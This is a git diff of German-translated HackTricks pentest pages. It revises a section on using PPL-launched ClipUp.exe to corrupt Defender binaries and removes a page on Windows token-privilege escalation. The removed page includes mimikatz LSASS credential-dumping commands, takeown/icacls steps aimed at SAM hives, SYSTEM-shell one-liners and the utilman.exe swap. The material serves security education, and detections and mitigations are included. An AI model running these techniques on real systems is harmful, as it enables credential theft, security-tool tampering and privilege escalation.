* **Alle** posture checks zeigen **green/compliant** an.
|
||||
* Unsigned or modified binaries können die named-pipe RPC endpoints öffnen (z. B. `\\RPC Control\\ZSATrayManager_talk_to_me`).
|
||||
* Der kompromittierte Host erhält uneingeschränkten Zugriff auf das interne Netzwerk, das durch die Zscaler-Richtlinien definiert ist.
|
||||
* **Alle** Posture-Checks zeigen **grün/konform** an.
|
||||
* Unsigned oder modifizierte Binaries können die named-pipe RPC-Endpunkte öffnen (z. B. `\\RPC Control\\ZSATrayManager_talk_to_me`).
|
||||
* Der kompromittierte Host erhält uneingeschränkten Zugriff auf das interne Netzwerk, das durch die Zscaler-Policies definiert ist.
|
||||
|
||||
Diese Fallstudie zeigt, wie rein clientseitige Vertrauensentscheidungen und einfache Signaturprüfungen mit wenigen Byte-Patches ausgehebelt werden können.
|
||||
Diese Fallstudie zeigt, wie rein clientseitige Vertrauensentscheidungen und einfache Signaturprüfungen mit wenigen Byte-Patches umgangen werden können.
|
||||
|
||||
## Abusing Protected Process Light (PPL) To Tamper AV/EDR With LOLBINs
|
||||
## Missbrauch von Protected Process Light (PPL) um AV/EDR mit LOLBINs zu manipulieren
|
||||
|
||||
Protected Process Light (PPL) erzwingt eine signer/level-Hierarchie, sodass nur gleich- oder höher eingestufte protected processes sich gegenseitig manipulieren können. Offensiv: Wenn du legitim eine PPL-enabled binary starten und deren Argumente kontrollieren kannst, kannst du harmlose Funktionalität (z. B. logging) in ein eingeschränktes, PPL-backed write primitive gegen geschützte Verzeichnisse umwandeln, die von AV/EDR verwendet werden.
|
||||
Protected Process Light (PPL) erzwingt eine Signer-/Level-Hierarchie, sodass nur gleich- oder höherstufige geschützte Prozesse sich gegenseitig manipulieren können. Angriffsseitig: Wenn man ein PPL-enabled Binary legitim starten und dessen Argumente kontrollieren kann, lässt sich harmlose Funktionalität (z. B. Logging) in ein eingeschränktes, von PPL unterstütztes Schreib-Primitiv gegen geschützte Verzeichnisse verwandeln, die von AV/EDR verwendet werden.
|
||||
|
||||
What makes a process run as PPL
|
||||
- Die Ziel-EXE (und alle geladenen DLLs) müssen mit einem PPL-capable EKU signiert sein.
|
||||
- Der Prozess muss mit CreateProcess erstellt werden und die Flags verwenden: `EXTENDED_STARTUPINFO_PRESENT | CREATE_PROTECTED_PROCESS`.
|
||||
- Ein kompatibles protection level muss angefordert werden, das dem signer der binary entspricht (z. B. `PROTECTION_LEVEL_ANTIMALWARE_LIGHT` für anti-malware signers, `PROTECTION_LEVEL_WINDOWS` für Windows signers). Falsche Levels führen dazu, dass die Erstellung fehlschlägt.
|
||||
- The target EXE (and any loaded DLLs) must be signed with a PPL-capable EKU.
|
||||
- The process must be created with CreateProcess using the flags: `EXTENDED_STARTUPINFO_PRESENT | CREATE_PROTECTED_PROCESS`.
|
||||
- A compatible protection level must be requested that matches the signer of the binary (e.g., `PROTECTION_LEVEL_ANTIMALWARE_LIGHT` for anti-malware signers, `PROTECTION_LEVEL_WINDOWS` for Windows signers). Wrong levels will fail at creation.
|
||||
|
||||
See also a broader intro to PP/PPL and LSASS protection here:
|
||||
|
||||
@ -789,7 +787,7 @@ stealing-credentials/credentials-protections.md
|
||||
Launcher tooling
|
||||
- Open-source helper: CreateProcessAsPPL (selects protection level and forwards arguments to the target EXE):
|
||||
- [https://github.com/2x7EQ13/CreateProcessAsPPL](https://github.com/2x7EQ13/CreateProcessAsPPL)
|
||||
- Verwendungsweise:
|
||||
- Usage pattern:
|
||||
```text
|
||||
CreateProcessAsPPL.exe <level 0..4> <path-to-ppl-capable-exe> [args...]
|
||||
# example: spawn a Windows-signed component at PPL level 1 (Windows)
|
||||
@ -797,44 +795,44 @@ CreateProcessAsPPL.exe 1 C:\Windows\System32\ClipUp.exe <args>
|
||||
# example: spawn an anti-malware signed component at level 3
|
||||
CreateProcessAsPPL.exe 3 <anti-malware-signed-exe> <args>
|
||||
```
|
||||
LOLBIN-Primitiv: ClipUp.exe
|
||||
- Die signierte System-Binärdatei `C:\Windows\System32\ClipUp.exe` startet sich selbst und akzeptiert einen Parameter, um eine Logdatei in einen vom Aufrufer angegebenen Pfad zu schreiben.
|
||||
- Wenn sie als PPL-Prozess gestartet wird, erfolgt der Dateischreibvorgang mit PPL-Unterstützung.
|
||||
- ClipUp kann Pfade mit Leerzeichen nicht verarbeiten; verwenden Sie 8.3-Kurzpfade, um auf normalerweise geschützte Orte zu zeigen.
|
||||
LOLBIN primitive: ClipUp.exe
|
||||
- Das signierte System-Binary `C:\Windows\System32\ClipUp.exe` startet sich selbst und akzeptiert einen Parameter, um eine Logdatei an einen vom Aufrufer angegebenen Pfad zu schreiben.
|
||||
- Wenn es als PPL-Prozess gestartet wird, erfolgt die Dateischreibung mit PPL-Unterstützung.
|
||||
- ClipUp kann Pfade mit Leerzeichen nicht parsen; verwenden Sie 8.3-Kurzpfade, um auf normalerweise geschützte Orte zu verweisen.
|
||||
|
||||
8.3 Kurzpfad-Helfer
|
||||
8.3 short path helpers
|
||||
- Kurznamen auflisten: `dir /x` in jedem übergeordneten Verzeichnis.
|
||||
- Kurzpfad in cmd ableiten: `for %A in ("C:\ProgramData\Microsoft\Windows Defender\Platform") do @echo %~sA`
|
||||
- Kurzen Pfad in cmd ableiten: `for %A in ("C:\ProgramData\Microsoft\Windows Defender\Platform") do @echo %~sA`
|
||||
|
||||
Missbrauchskette (abstrakt)
|
||||
Abuse chain (abstract)
|
||||
1) Starte das PPL-fähige LOLBIN (ClipUp) mit `CREATE_PROTECTED_PROCESS` unter Verwendung eines Launchers (z. B. CreateProcessAsPPL).
|
||||
2) Übergib das ClipUp-Log-Pfad-Argument, um eine Dateierstellung in einem geschützten AV-Verzeichnis zu erzwingen (z. B. Defender Platform). Verwende bei Bedarf 8.3-Kurzpfade.
|
||||
3) Wenn die Ziel-Binärdatei normalerweise vom AV während der Ausführung geöffnet/gesperrt ist (z. B. MsMpEng.exe), plane den Schreibvorgang für den Bootvorgang, bevor der AV startet, indem du einen Autostart-Service installierst, der zuverlässig früher läuft. Validiere die Boot-Reihenfolge mit Process Monitor (Boot-Logging).
|
||||
4) Beim Neustart erfolgt der PPL-unterstützte Schreibvorgang, bevor der AV seine Binaries sperrt, wodurch die Zieldatei beschädigt wird und ein Start verhindert wird.
|
||||
2) Übergebe das ClipUp-Log-Pfad-Argument, um eine Datei in einem geschützten AV-Verzeichnis zu erzwingen (z. B. Defender Platform). Verwende bei Bedarf 8.3-Kurzpfade.
|
||||
3) Wenn die Ziel-Binary normalerweise vom AV während der Ausführung offen/gesperrt ist (z. B. MsMpEng.exe), plane den Schreibvorgang beim Booten, bevor der AV startet, indem du einen Auto-Start-Service installierst, der verlässlich früher läuft. Überprüfe die Boot-Reihenfolge mit Process Monitor (boot logging).
|
||||
4) Beim Neustart erfolgt der PPL-gestützte Schreibvorgang, bevor der AV seine Binaries sperrt, wodurch die Zieldatei beschädigt wird und ein Start verhindert wird.
|
||||
|
||||
Beispielaufruf (Pfade aus Sicherheitsgründen ausgeblendet/gekürzt):
|
||||
Example invocation (paths redacted/shortened for safety):
|
||||
```text
|
||||
# Run ClipUp as PPL at Windows signer level (1) and point its log to a protected folder using 8.3 names
|
||||
CreateProcessAsPPL.exe 1 C:\Windows\System32\ClipUp.exe -ppl C:\PROGRA~3\MICROS~1\WINDOW~1\Platform\<ver>\samplew.dll
|
||||
```
|
||||
Hinweise und Einschränkungen
|
||||
- Sie können den Inhalt, den ClipUp schreibt, nur in Bezug auf die Platzierung steuern; die Primitive eignet sich eher zur Korruption als zur präzisen Inhaltseinfügung.
|
||||
- Erfordert lokale Admin/SYSTEM-Rechte, um einen Service zu installieren/zu starten, sowie ein Reboot-Fenster.
|
||||
- Timing ist kritisch: das Ziel darf nicht geöffnet sein; Ausführung zur Boot-Zeit vermeidet Dateisperren.
|
||||
- Sie können die Inhalte, die `ClipUp` schreibt, nicht kontrollieren, außer deren Platzierung; die Primitive eignet sich eher zur Korruption als zur präzisen Inhaltsinjektion.
|
||||
- Erfordert lokalen Admin/SYSTEM, um einen Dienst zu installieren/zu starten, sowie ein Reboot-Fenster.
|
||||
- Timing ist kritisch: das Ziel darf nicht geöffnet sein; Ausführung zur Bootzeit vermeidet Dateisperren.
|
||||
|
||||
Detections
|
||||
- Prozesserstellung von `ClipUp.exe` mit ungewöhnlichen Argumenten, insbesondere wenn es von nicht-standardmäßigen Startern als Elternprozess gestartet wird, rund um den Boot-Vorgang.
|
||||
- Neue Dienste, die so konfiguriert sind, dass verdächtige Binaries automatisch starten und konsequent vor Defender/AV starten. Untersuchen Sie Service-Erstellung/-Änderungen vor Defender-Startup-Fehlern.
|
||||
- File-Integrity-Monitoring auf Defender-Binaries/Platform-Verzeichnissen; unerwartete Dateierstellungen/-änderungen durch Prozesse mit protected-process-Flags.
|
||||
- ETW/EDR-Telemetrie: suchen Sie nach Prozessen, die mit `CREATE_PROTECTED_PROCESS` erstellt wurden, und nach anomalem PPL-Level-Einsatz durch Nicht-AV-Binaries.
|
||||
Erkennungen
|
||||
- Erstellung des Prozesses `ClipUp.exe` mit ungewöhnlichen Argumenten, insbesondere wenn er von nicht-standardmäßigen Elternprozessen gestartet wird, rund um den Bootvorgang.
|
||||
- Neue Dienste, die so konfiguriert sind, dass verdächtige Binärdateien automatisch starten und konsequent vor Defender/AV starten. Untersuchen Sie Dienst-Erstellung/-Änderung vor Defender-Startfehlern.
|
||||
- Dateiintegritätsüberwachung auf Defender-Binaries/Platform-Verzeichnissen; unerwartete Datei-Erstellungen/-Änderungen durch Prozesse mit protected-process-Flags.
|
||||
- ETW/EDR-Telemetrie: suchen Sie nach Prozessen, die mit `CREATE_PROTECTED_PROCESS` erstellt wurden, und nach anomalem PPL-Level-Einsatz durch Nicht-AV-Binärdateien.
|
||||
|
||||
Mitigations
|
||||
- WDAC/Code Integrity: einschränken, welche signierten Binaries als PPL laufen dürfen und unter welchen Elternprozessen; ClipUp-Aufrufe außerhalb legitimer Kontexte blockieren.
|
||||
- Service-Hygiene: Einschränken der Erstellung/Änderung von Auto-Start-Diensten und Überwachen von Startreihenfolge-Manipulationen.
|
||||
- Sicherstellen, dass Defender-Tamper-Schutz und Early-Launch-Schutzmechanismen aktiviert sind; Startfehler untersuchen, die auf Binärdateikorruption hindeuten.
|
||||
- Erwägen Sie, die 8.3-Kurzname-Generierung auf Volumes, die Security-Tooling hosten, zu deaktivieren, falls mit Ihrer Umgebung kompatibel (gründlich testen).
|
||||
Abhilfemaßnahmen
|
||||
- WDAC/Code Integrity: Beschränken Sie, welche signierten Binärdateien als PPL laufen dürfen und unter welchen Elternprozessen; blockieren Sie ClipUp-Aufrufe außerhalb legitimer Kontexte.
|
||||
- Service-Hygiene: Beschränken Sie die Erstellung/Änderung von Auto-Start-Diensten und überwachen Sie Manipulationen der Startreihenfolge.
|
||||
- Stellen Sie sicher, dass Defender-Tamper-Schutz und Early-Launch-Schutz aktiviert sind; untersuchen Sie Startfehler, die auf Binärkorruption hinweisen.
|
||||
- Erwägen Sie, die 8.3-Kurznamensgenerierung auf Volumes, die Security-Tools hosten, zu deaktivieren, falls kompatibel mit Ihrer Umgebung (gründlich testen).
|
||||
|
||||
Referenzen zu PPL und Werkzeugen
|
||||
References for PPL and tooling
|
||||
- Microsoft Protected Processes overview: https://learn.microsoft.com/windows/win32/procthread/protected-processes
|
||||
- EKU reference: https://learn.microsoft.com/openspecs/windows_protocols/ms-ppsec/651a90f3-e1f5-4087-8503-40d804429a88
|
||||
- Procmon boot logging (ordering validation): https://learn.microsoft.com/sysinternals/downloads/procmon
|
||||
|
@ -1,180 +0,0 @@
|
||||
# Missbrauch von Tokens
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Tokens
|
||||
|
||||
Wenn Sie **nicht wissen, was Windows Access Tokens sind**, lesen Sie diese Seite, bevor Sie fortfahren:
|
||||
|
||||
{{#ref}}
|
||||
../access-tokens.md
|
||||
{{#endref}}
|
||||
|
||||
**Vielleicht könnten Sie in der Lage sein, Privilegien durch den Missbrauch der Tokens, die Sie bereits haben, zu eskalieren.**
|
||||
|
||||
### SeImpersonatePrivilege
|
||||
|
||||
Dies ist ein Privileg, das von jedem Prozess gehalten wird und die Impersonation (aber nicht die Erstellung) eines Tokens ermöglicht, vorausgesetzt, ein Handle dafür kann erlangt werden. Ein privilegiertes Token kann von einem Windows-Dienst (DCOM) erworben werden, indem man ihn dazu bringt, eine NTLM-Authentifizierung gegen einen Exploit durchzuführen, was anschließend die Ausführung eines Prozesses mit SYSTEM-Privilegien ermöglicht. Diese Schwachstelle kann mit verschiedenen Tools ausgenutzt werden, wie [juicy-potato](https://github.com/ohpe/juicy-potato), [RogueWinRM](https://github.com/antonioCoco/RogueWinRM) (was erfordert, dass winrm deaktiviert ist), [SweetPotato](https://github.com/CCob/SweetPotato), [EfsPotato](https://github.com/zcgonvh/EfsPotato), [DCOMPotato](https://github.com/zcgonvh/DCOMPotato) und [PrintSpoofer](https://github.com/itm4n/PrintSpoofer).
|
||||
|
||||
{{#ref}}
|
||||
../roguepotato-and-printspoofer.md
|
||||
{{#endref}}
|
||||
|
||||
{{#ref}}
|
||||
../juicypotato.md
|
||||
{{#endref}}
|
||||
|
||||
### SeAssignPrimaryPrivilege
|
||||
|
||||
Es ist sehr ähnlich zu **SeImpersonatePrivilege**, es wird die **gleiche Methode** verwendet, um ein privilegiertes Token zu erhalten.\
|
||||
Dann erlaubt dieses Privileg, **ein primäres Token** einem neuen/ausgesetzten Prozess zuzuweisen. Mit dem privilegierten Impersonation-Token können Sie ein primäres Token ableiten (DuplicateTokenEx).\
|
||||
Mit dem Token können Sie einen **neuen Prozess** mit 'CreateProcessAsUser' erstellen oder einen Prozess aussetzen und **das Token setzen** (im Allgemeinen können Sie das primäre Token eines laufenden Prozesses nicht ändern).
|
||||
|
||||
### SeTcbPrivilege
|
||||
|
||||
Wenn Sie dieses Token aktiviert haben, können Sie **KERB_S4U_LOGON** verwenden, um ein **Impersonation-Token** für jeden anderen Benutzer zu erhalten, ohne die Anmeldeinformationen zu kennen, **eine beliebige Gruppe** (Admins) zum Token hinzuzufügen, das **Integritätslevel** des Tokens auf "**medium**" zu setzen und dieses Token dem **aktuellen Thread** zuzuweisen (SetThreadToken).
|
||||
|
||||
### SeBackupPrivilege
|
||||
|
||||
Das System wird durch dieses Privileg dazu veranlasst, **allen Lesezugriff** auf jede Datei (beschränkt auf Leseoperationen) zu gewähren. Es wird verwendet, um **die Passwort-Hashes von lokalen Administrator**-Konten aus der Registrierung zu lesen, wonach Tools wie "**psexec**" oder "**wmiexec**" mit dem Hash (Pass-the-Hash-Technik) verwendet werden können. Diese Technik schlägt jedoch unter zwei Bedingungen fehl: wenn das lokale Administratorkonto deaktiviert ist oder wenn eine Richtlinie besteht, die den administrativen Zugriff für lokale Administratoren, die sich remote verbinden, entfernt.\
|
||||
Sie können **dieses Privileg missbrauchen** mit:
|
||||
|
||||
- [https://github.com/Hackplayers/PsCabesha-tools/blob/master/Privesc/Acl-FullControl.ps1](https://github.com/Hackplayers/PsCabesha-tools/blob/master/Privesc/Acl-FullControl.ps1)
|
||||
- [https://github.com/giuliano108/SeBackupPrivilege/tree/master/SeBackupPrivilegeCmdLets/bin/Debug](https://github.com/giuliano108/SeBackupPrivilege/tree/master/SeBackupPrivilegeCmdLets/bin/Debug)
|
||||
- folgender **IppSec** in [https://www.youtube.com/watch?v=IfCysW0Od8w\&t=2610\&ab_channel=IppSec](https://www.youtube.com/watch?v=IfCysW0Od8w&t=2610&ab_channel=IppSec)
|
||||
- Oder wie im Abschnitt **Privilegieneskalation mit Backup-Operatoren** erklärt:
|
||||
|
||||
{{#ref}}
|
||||
../../active-directory-methodology/privileged-groups-and-token-privileges.md
|
||||
{{#endref}}
|
||||
|
||||
### SeRestorePrivilege
|
||||
|
||||
Dieses Privileg gewährt die Berechtigung für **Schreibzugriff** auf jede Systemdatei, unabhängig von der Access Control List (ACL) der Datei. Es eröffnet zahlreiche Möglichkeiten zur Eskalation, einschließlich der Fähigkeit, **Dienste zu modifizieren**, DLL Hijacking durchzuführen und **Debugger** über die Image File Execution Options einzustellen, unter verschiedenen anderen Techniken.
|
||||
|
||||
### SeCreateTokenPrivilege
|
||||
|
||||
SeCreateTokenPrivilege ist eine mächtige Berechtigung, die besonders nützlich ist, wenn ein Benutzer die Fähigkeit hat, Tokens zu impersonieren, aber auch in Abwesenheit von SeImpersonatePrivilege. Diese Fähigkeit hängt von der Möglichkeit ab, ein Token zu impersonieren, das denselben Benutzer repräsentiert und dessen Integritätslevel nicht höher ist als der des aktuellen Prozesses.
|
||||
|
||||
**Wichtige Punkte:**
|
||||
|
||||
- **Impersonation ohne SeImpersonatePrivilege:** Es ist möglich, SeCreateTokenPrivilege für EoP zu nutzen, indem Tokens unter bestimmten Bedingungen impersoniert werden.
|
||||
- **Bedingungen für die Token-Impersonation:** Erfolgreiche Impersonation erfordert, dass das Ziel-Token demselben Benutzer gehört und ein Integritätslevel hat, das kleiner oder gleich dem Integritätslevel des Prozesses ist, der die Impersonation versucht.
|
||||
- **Erstellung und Modifikation von Impersonation-Tokens:** Benutzer können ein Impersonation-Token erstellen und es verbessern, indem sie eine SID (Security Identifier) einer privilegierten Gruppe hinzufügen.
|
||||
|
||||
### SeLoadDriverPrivilege
|
||||
|
||||
Dieses Privileg erlaubt es, **Gerätetreiber zu laden und zu entladen**, indem ein Registrierungseintrag mit spezifischen Werten für `ImagePath` und `Type` erstellt wird. Da der direkte Schreibzugriff auf `HKLM` (HKEY_LOCAL_MACHINE) eingeschränkt ist, muss stattdessen `HKCU` (HKEY_CURRENT_USER) verwendet werden. Um `HKCU` jedoch für die Kernel-Konfiguration von Treibern erkennbar zu machen, muss ein spezifischer Pfad eingehalten werden.
|
||||
|
||||
Dieser Pfad ist `\Registry\User\<RID>\System\CurrentControlSet\Services\DriverName`, wobei `<RID>` der Relative Identifier des aktuellen Benutzers ist. Innerhalb von `HKCU` muss dieser gesamte Pfad erstellt werden, und zwei Werte müssen gesetzt werden:
|
||||
|
||||
- `ImagePath`, der Pfad zur auszuführenden Binärdatei
|
||||
- `Type`, mit einem Wert von `SERVICE_KERNEL_DRIVER` (`0x00000001`).
|
||||
|
||||
**Schritte, die zu befolgen sind:**
|
||||
|
||||
1. Greifen Sie auf `HKCU` anstelle von `HKLM` zu, aufgrund des eingeschränkten Schreibzugriffs.
|
||||
2. Erstellen Sie den Pfad `\Registry\User\<RID>\System\CurrentControlSet\Services\DriverName` innerhalb von `HKCU`, wobei `<RID>` den relativen Identifikator des aktuellen Benutzers darstellt.
|
||||
3. Setzen Sie den `ImagePath` auf den Ausführungspfad der Binärdatei.
|
||||
4. Weisen Sie den `Type` als `SERVICE_KERNEL_DRIVER` (`0x00000001`) zu.
|
||||
```python
|
||||
# Example Python code to set the registry values
|
||||
import winreg as reg
|
||||
|
||||
# Define the path and values
|
||||
path = r'Software\YourPath\System\CurrentControlSet\Services\DriverName' # Adjust 'YourPath' as needed
|
||||
key = reg.OpenKey(reg.HKEY_CURRENT_USER, path, 0, reg.KEY_WRITE)
|
||||
reg.SetValueEx(key, "ImagePath", 0, reg.REG_SZ, "path_to_binary")
|
||||
reg.SetValueEx(key, "Type", 0, reg.REG_DWORD, 0x00000001)
|
||||
reg.CloseKey(key)
|
||||
```
|
||||
Mehr Möglichkeiten, dieses Privileg auszunutzen, finden Sie unter [https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges#seloaddriverprivilege](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges#seloaddriverprivilege)
|
||||
|
||||
### SeTakeOwnershipPrivilege
|
||||
|
||||
Dies ist ähnlich wie **SeRestorePrivilege**. Seine Hauptfunktion ermöglicht es einem Prozess, **das Eigentum an einem Objekt zu übernehmen**, wodurch die Anforderung für expliziten diskretionären Zugriff durch die Bereitstellung von WRITE_OWNER-Zugriffsrechten umgangen wird. Der Prozess umfasst zunächst die Sicherstellung des Eigentums an dem beabsichtigten Registrierungsschlüssel zu Schreibzwecken, gefolgt von der Änderung der DACL, um Schreibvorgänge zu ermöglichen.
|
||||
```bash
|
||||
takeown /f 'C:\some\file.txt' #Now the file is owned by you
|
||||
icacls 'C:\some\file.txt' /grant <your_username>:F #Now you have full access
|
||||
# Use this with files that might contain credentials such as
|
||||
%WINDIR%\repair\sam
|
||||
%WINDIR%\repair\system
|
||||
%WINDIR%\repair\software
|
||||
%WINDIR%\repair\security
|
||||
%WINDIR%\system32\config\security.sav
|
||||
%WINDIR%\system32\config\software.sav
|
||||
%WINDIR%\system32\config\system.sav
|
||||
%WINDIR%\system32\config\SecEvent.Evt
|
||||
%WINDIR%\system32\config\default.sav
|
||||
c:\inetpub\wwwwroot\web.config
|
||||
```
|
||||
### SeDebugPrivilege
|
||||
|
||||
Dieses Privileg erlaubt es, **andere Prozesse zu debuggen**, einschließlich das Lesen und Schreiben im Speicher. Verschiedene Strategien zur Speicherinjektion, die in der Lage sind, die meisten Antiviren- und Hostintrusionsschutzlösungen zu umgehen, können mit diesem Privileg eingesetzt werden.
|
||||
|
||||
#### Dump-Speicher
|
||||
|
||||
Sie können [ProcDump](https://docs.microsoft.com/en-us/sysinternals/downloads/procdump) aus der [SysInternals Suite](https://docs.microsoft.com/en-us/sysinternals/downloads/sysinternals-suite) oder [SharpDump](https://github.com/GhostPack/SharpDump) verwenden, um **den Speicher eines Prozesses zu erfassen**. Dies kann insbesondere für den Prozess **Local Security Authority Subsystem Service ([LSASS](https://en.wikipedia.org/wiki/Local_Security_Authority_Subsystem_Service))** gelten, der dafür verantwortlich ist, Benutzeranmeldeinformationen zu speichern, sobald sich ein Benutzer erfolgreich in ein System eingeloggt hat.
|
||||
|
||||
Sie können diesen Dump dann in mimikatz laden, um Passwörter zu erhalten:
|
||||
```
|
||||
mimikatz.exe
|
||||
mimikatz # log
|
||||
mimikatz # sekurlsa::minidump lsass.dmp
|
||||
mimikatz # sekurlsa::logonpasswords
|
||||
```
|
||||
#### RCE
|
||||
|
||||
Wenn Sie eine `NT SYSTEM`-Shell erhalten möchten, können Sie Folgendes verwenden:
|
||||
|
||||
- [**SeDebugPrivilege-Exploit (C++)**](https://github.com/bruno-1337/SeDebugPrivilege-Exploit)
|
||||
- [**SeDebugPrivilegePoC (C#)**](https://github.com/daem0nc0re/PrivFu/tree/main/PrivilegedOperations/SeDebugPrivilegePoC)
|
||||
- [**psgetsys.ps1 (Powershell-Skript)**](https://raw.githubusercontent.com/decoder-it/psgetsystem/master/psgetsys.ps1)
|
||||
```bash
|
||||
# Get the PID of a process running as NT SYSTEM
|
||||
import-module psgetsys.ps1; [MyProcess]::CreateProcessFromParent(<system_pid>,<command_to_execute>)
|
||||
```
|
||||
### SeManageVolumePrivilege
|
||||
|
||||
Das `SeManageVolumePrivilege` ist ein Windows-Benutzerrecht, das es Benutzern ermöglicht, Festplattenspeicher zu verwalten, einschließlich der Erstellung und Löschung von Volumes. Obwohl es für Administratoren gedacht ist, kann es, wenn es an Nicht-Admin-Benutzer vergeben wird, für eine Privilegieneskalation ausgenutzt werden.
|
||||
|
||||
Es ist möglich, dieses Privileg zu nutzen, um Volumes zu manipulieren, was zu vollem Zugriff auf das Volume führt. Der [SeManageVolumeExploit](https://github.com/CsEnox/SeManageVolumeExploit) kann verwendet werden, um allen Benutzern vollen Zugriff auf C:\ zu gewähren.
|
||||
|
||||
Zusätzlich beschreibt der Prozess in [diesem Medium-Artikel](https://medium.com/@raphaeltzy13/exploiting-semanagevolumeprivilege-with-dll-hijacking-windows-privilege-escalation-1a4f28372d37) die Verwendung von DLL-Hijacking in Verbindung mit `SeManageVolumePrivilege`, um Privilegien zu eskalieren. Durch das Platzieren einer Payload-DLL `C:\Windows\System32\wbem\tzres.dll` und das Aufrufen von `systeminfo` wird die DLL ausgeführt.
|
||||
|
||||
## Check privileges
|
||||
```
|
||||
whoami /priv
|
||||
```
|
||||
Die **Tokens, die als Deaktiviert erscheinen**, können aktiviert werden, Sie können tatsächlich _Aktivierte_ und _Deaktivierte_ Tokens ausnutzen.
|
||||
|
||||
### Alle Tokens aktivieren
|
||||
|
||||
Wenn Sie Tokens deaktiviert haben, können Sie das Skript [**EnableAllTokenPrivs.ps1**](https://raw.githubusercontent.com/fashionproof/EnableAllTokenPrivs/master/EnableAllTokenPrivs.ps1) verwenden, um alle Tokens zu aktivieren:
|
||||
```bash
|
||||
.\EnableAllTokenPrivs.ps1
|
||||
whoami /priv
|
||||
```
|
||||
Oder das **Skript** eingebettet in diesem [**Beitrag**](https://www.leeholmes.com/adjusting-token-privileges-in-powershell/).
|
||||
|
||||
## Tabelle
|
||||
|
||||
Vollständige Cheatsheet der Token-Berechtigungen unter [https://github.com/gtworek/Priv2Admin](https://github.com/gtworek/Priv2Admin), die Zusammenfassung unten listet nur direkte Möglichkeiten auf, um die Berechtigung auszunutzen, um eine Admin-Sitzung zu erhalten oder sensible Dateien zu lesen.
|
||||
|
||||
| Berechtigung | Auswirkung | Tool | Ausführungspfad | Anmerkungen |
|
||||
| -------------------------- | ------------ | ----------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
|
||||
| **`SeAssignPrimaryToken`** | _**Admin**_ | 3rd party tool | _"Es würde einem Benutzer erlauben, Tokens zu impersonieren und Privilegien auf das NT-System mit Tools wie potato.exe, rottenpotato.exe und juicypotato.exe zu erhöhen"_ | Danke [Aurélien Chalot](https://twitter.com/Defte_) für das Update. Ich werde versuchen, es bald in etwas Rezeptartiges umzuformulieren. |
|
||||
| **`SeBackup`** | **Bedrohung** | _**Eingebaute Befehle**_ | Sensible Dateien mit `robocopy /b` lesen | <p>- Könnte interessanter sein, wenn Sie %WINDIR%\MEMORY.DMP lesen können<br><br>- <code>SeBackupPrivilege</code> (und robocopy) sind nicht hilfreich, wenn es um geöffnete Dateien geht.<br><br>- Robocopy benötigt sowohl SeBackup als auch SeRestore, um mit dem /b-Parameter zu arbeiten.</p> |
|
||||
| **`SeCreateToken`** | _**Admin**_ | 3rd party tool | Erstellen Sie ein beliebiges Token, einschließlich lokaler Administratorrechte mit `NtCreateToken`. | |
|
||||
| **`SeDebug`** | _**Admin**_ | **PowerShell** | Duplizieren Sie das Token von `lsass.exe`. | Skript zu finden unter [FuzzySecurity](https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Conjure-LSASS.ps1) |
|
||||
| **`SeLoadDriver`** | _**Admin**_ | 3rd party tool | <p>1. Laden Sie einen fehlerhaften Kernel-Treiber wie <code>szkg64.sys</code><br>2. Nutzen Sie die Treibersicherheitsanfälligkeit aus<br><br>Alternativ kann die Berechtigung verwendet werden, um sicherheitsrelevante Treiber mit dem <code>ftlMC</code> eingebauten Befehl zu entladen. d.h.: <code>fltMC sysmondrv</code></p> | <p>1. Die <code>szkg64</code> Sicherheitsanfälligkeit ist als <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-15732">CVE-2018-15732</a> aufgeführt<br>2. Der <code>szkg64</code> <a href="https://www.greyhathacker.net/?p=1025">Exploit-Code</a> wurde von <a href="https://twitter.com/parvezghh">Parvez Anwar</a> erstellt</p> |
|
||||
| **`SeRestore`** | _**Admin**_ | **PowerShell** | <p>1. Starten Sie PowerShell/ISE mit der vorhandenen SeRestore-Berechtigung.<br>2. Aktivieren Sie die Berechtigung mit <a href="https://github.com/gtworek/PSBits/blob/master/Misc/EnableSeRestorePrivilege.ps1">Enable-SeRestorePrivilege</a>.<br>3. Benennen Sie utilman.exe in utilman.old um<br>4. Benennen Sie cmd.exe in utilman.exe um<br>5. Sperren Sie die Konsole und drücken Sie Win+U</p> | <p>Angriff kann von einiger AV-Software erkannt werden.</p><p>Alternative Methode beruht auf dem Ersetzen von Dienstbinaries, die in "Program Files" gespeichert sind, unter Verwendung derselben Berechtigung</p> |
|
||||
| **`SeTakeOwnership`** | _**Admin**_ | _**Eingebaute Befehle**_ | <p>1. <code>takeown.exe /f "%windir%\system32"</code><br>2. <code>icalcs.exe "%windir%\system32" /grant "%username%":F</code><br>3. Benennen Sie cmd.exe in utilman.exe um<br>4. Sperren Sie die Konsole und drücken Sie Win+U</p> | <p>Angriff kann von einiger AV-Software erkannt werden.</p><p>Alternative Methode beruht auf dem Ersetzen von Dienstbinaries, die in "Program Files" gespeichert sind, unter Verwendung derselben Berechtigung.</p> |
|
||||
| **`SeTcb`** | _**Admin**_ | 3rd party tool | <p>Manipulieren Sie Tokens, um lokale Administratorrechte einzuschließen. Möglicherweise ist SeImpersonate erforderlich.</p><p>Zu überprüfen.</p> | |
|
||||
|
||||
## Referenz
|
||||
|
||||
- Werfen Sie einen Blick auf diese Tabelle, die Windows-Tokens definiert: [https://github.com/gtworek/Priv2Admin](https://github.com/gtworek/Priv2Admin)
|
||||
- Werfen Sie einen Blick auf [**dieses Papier**](https://github.com/hatRiot/token-priv/blob/master/abusing_token_eop_1.0.txt) über Privilegienerweiterung mit Tokens.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
Loading…
x
Reference in New Issue
Block a user